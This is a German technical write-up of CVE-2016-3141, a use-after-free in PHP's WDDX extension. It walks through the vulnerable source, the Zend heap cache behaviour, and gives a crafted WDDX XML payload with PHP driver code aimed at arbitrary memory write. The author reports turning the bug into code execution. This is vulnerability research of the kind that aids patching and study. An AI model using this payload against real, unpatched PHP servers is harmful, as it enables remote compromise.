
CVE-2016-3141
Eine Use-after-Free-Schwachstelle in wddx.c in der WDDX-Erweiterung in PHP vor 5.5.33 und 5.6.x vor 5.6.19 erlaubt entfernten Angreifern, durch das Auslösen eines wddx_deserialize-Aufrufs auf XML-Daten, die ein manipuliertes var-Element enthalten, einen Denial-of-Service (Speicherkorruption und Programmabsturz) zu verursachen oder möglicherweise andere, nicht näher bezeichnete Auswirkungen zu erzielen.
Dies ist ein Use-after-Free-Bug, der auftritt, wenn wddx versucht, XML-Daten zu verarbeiten. Werfen Sie einen Blick auf diesen Code in der Funktion php_wddx_deserialize_ex. Wenn wddx_deserialize($xml) mit einigen XML-Daten aufgerufen wird, ruft PHP diese Funktion auf und setzt dann einige Funktionen zur Behandlung von XML-Tags und -Daten ein.
XML_SetUserData(parser, &stack);
XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
XML_SetCharacterDataHandler(parser, php_wddx_process_data);
Die Funktion php_wddx_push_element erstellt einen Eintrag für ein Tag, wie Sie in diesem Ausschnitt sehen können. Wenn Sie zum Beispiel <string>Hello World</string> eingeben, wird beim Erreichen des öffnenden Tags die Funktion php_wddx_push_element aufgerufen, um einen st_entry-Eintrag zu erstellen, der Informationen über ein Tag speichert. Sehen wir uns dazu den folgenden Codeausschnitt an:
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
st_entry ent;
wddx_stack *stack = (wddx_stack *)user_data;
----SNIP----
else if (!strcmp(name, EL_STRING)) {
ent.type = ST_STRING;
SET_STACK_VARNAME;
ALLOC_ZVAL(ent.data);
INIT_PZVAL(ent.data);
Z_TYPE_P(ent.data) = IS_STRING;
Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
Z_STRLEN_P(ent.data) = 0;
wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
}
----SNIP----
}
SET_STACK_VARNAME ist eine Prozedur, die unten definiert ist. Diese Prozedur prüft einfach das stack->varname eines Tags. Wenn es nicht NULL ist, wird dieses stack->varname geklont und anschließend freigegeben.
#define SET_STACK_VARNAME \
if (stack->varname) { \
ent.varname = estrdup(stack->varname); \
efree(stack->varname); \
stack->varname = NULL; \
} else \
ent.varname = NULL; \
Der Bug tritt in php_wddx_pop_element auf. Wenn das XML ein var-Tag schließt, wird varname dieses Tags freigegeben, und dieser freigegebene Zeiger bleibt weiterhin in stack->varname gespeichert. Wenn Sie zum Beispiel ein var wie <var name='UAF'></var> erstellen, erzeugt php_wddx_push_element eine Struktur, die dieses var-Tag speichert. Wenn Sie dieses Tag dann schließen, wird es freigegeben, aber es wird vergessen, stack->name = NULL zu setzen oder stack->top zu dekrementieren. Wenn Sie danach ein anderes Tag wie <string> erstellen, wird die Funktion SET_STACK_VARNAME diesen freigegebenen Zeiger wiederverwenden.
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
# ***SNIP***
} else if (!strcmp(name, EL_VAR) && stack->varname) {
efree(stack->varname);
}
# ***SNIP***
}
Als ich diesen Bug zum ersten Mal sah, dachte ich: „Kann ich diesen Bug nicht in Codeausführung umwandeln?“. Zuerst muss ich verstehen, wie der Zend-Heap implementiert ist. Sehen wir uns dazu die Funktion _zend_mm_alloc_int in zend_alloc.c an:
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
size_t index = ZEND_MM_BUCKET_INDEX(true_size);
size_t bitmap;
if (UNEXPECTED(true_size < size)) {
goto out_of_memory;
}
#if ZEND_MM_CACHE
if (EXPECTED(heap->cache[index] != NULL)) {
/* Get block from cache */
#if ZEND_MM_CACHE_STAT
heap->cache_stat[index].count--;
heap->cache_stat[index].hit++;
#endif
best_fit = heap->cache[index];
heap->cache[index] = best_fit->prev_free_block;
heap->cached -= true_size;
ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
HANDLE_UNBLOCK_INTERRUPTIONS();
return ZEND_MM_DATA_OF(best_fit);
}
Wenn wir eine kleine Chunk-Größe anfordern (weniger als 256 Bytes), verwendet zend_alloc heap->cache — eine Liste freier Chunks, die viele kleine freie Chunks als verkettete Liste speichert. Dieses heap->cache ähnelt dem fast_bin von malloc. Wenn wir es irgendwie schaffen, den Zeiger best_fit->prev_free_block mit einer eigenen Adresse zu überschreiben, und dann erneut zend_alloc aufrufen, können wir diese Adresse nutzen, um an eine beliebige Stelle im Speicher zu schreiben.
Dazu erstelle ich das folgende WDDX-XML:
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
<array>
<binary>HERE</binary> # (1)
<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
<binary>REPLACE</binary> # (3)
<var name='SUCK'></var> # (4)
<boolean value='a'/>
<boolean value='true'/>
</array>
</wddxPacket>
EOF;
$binary_value = base64_encode(str_repeat("A",32));
$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);
$wddx = wddx_deserialize($xml);
foreach($wddx as $k => $v){
$k = "".str_repeat("C",6); (5)
$t = (string)$v; (6)
$g = (string)$v; (7)
}

Meinen vollständigen Exploit finden Sie hier: peter_code_execute.php (Getestet auf Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).
Schließlich habe ich diesen Bug erfolgreich in Codeausführung umgewandelt.
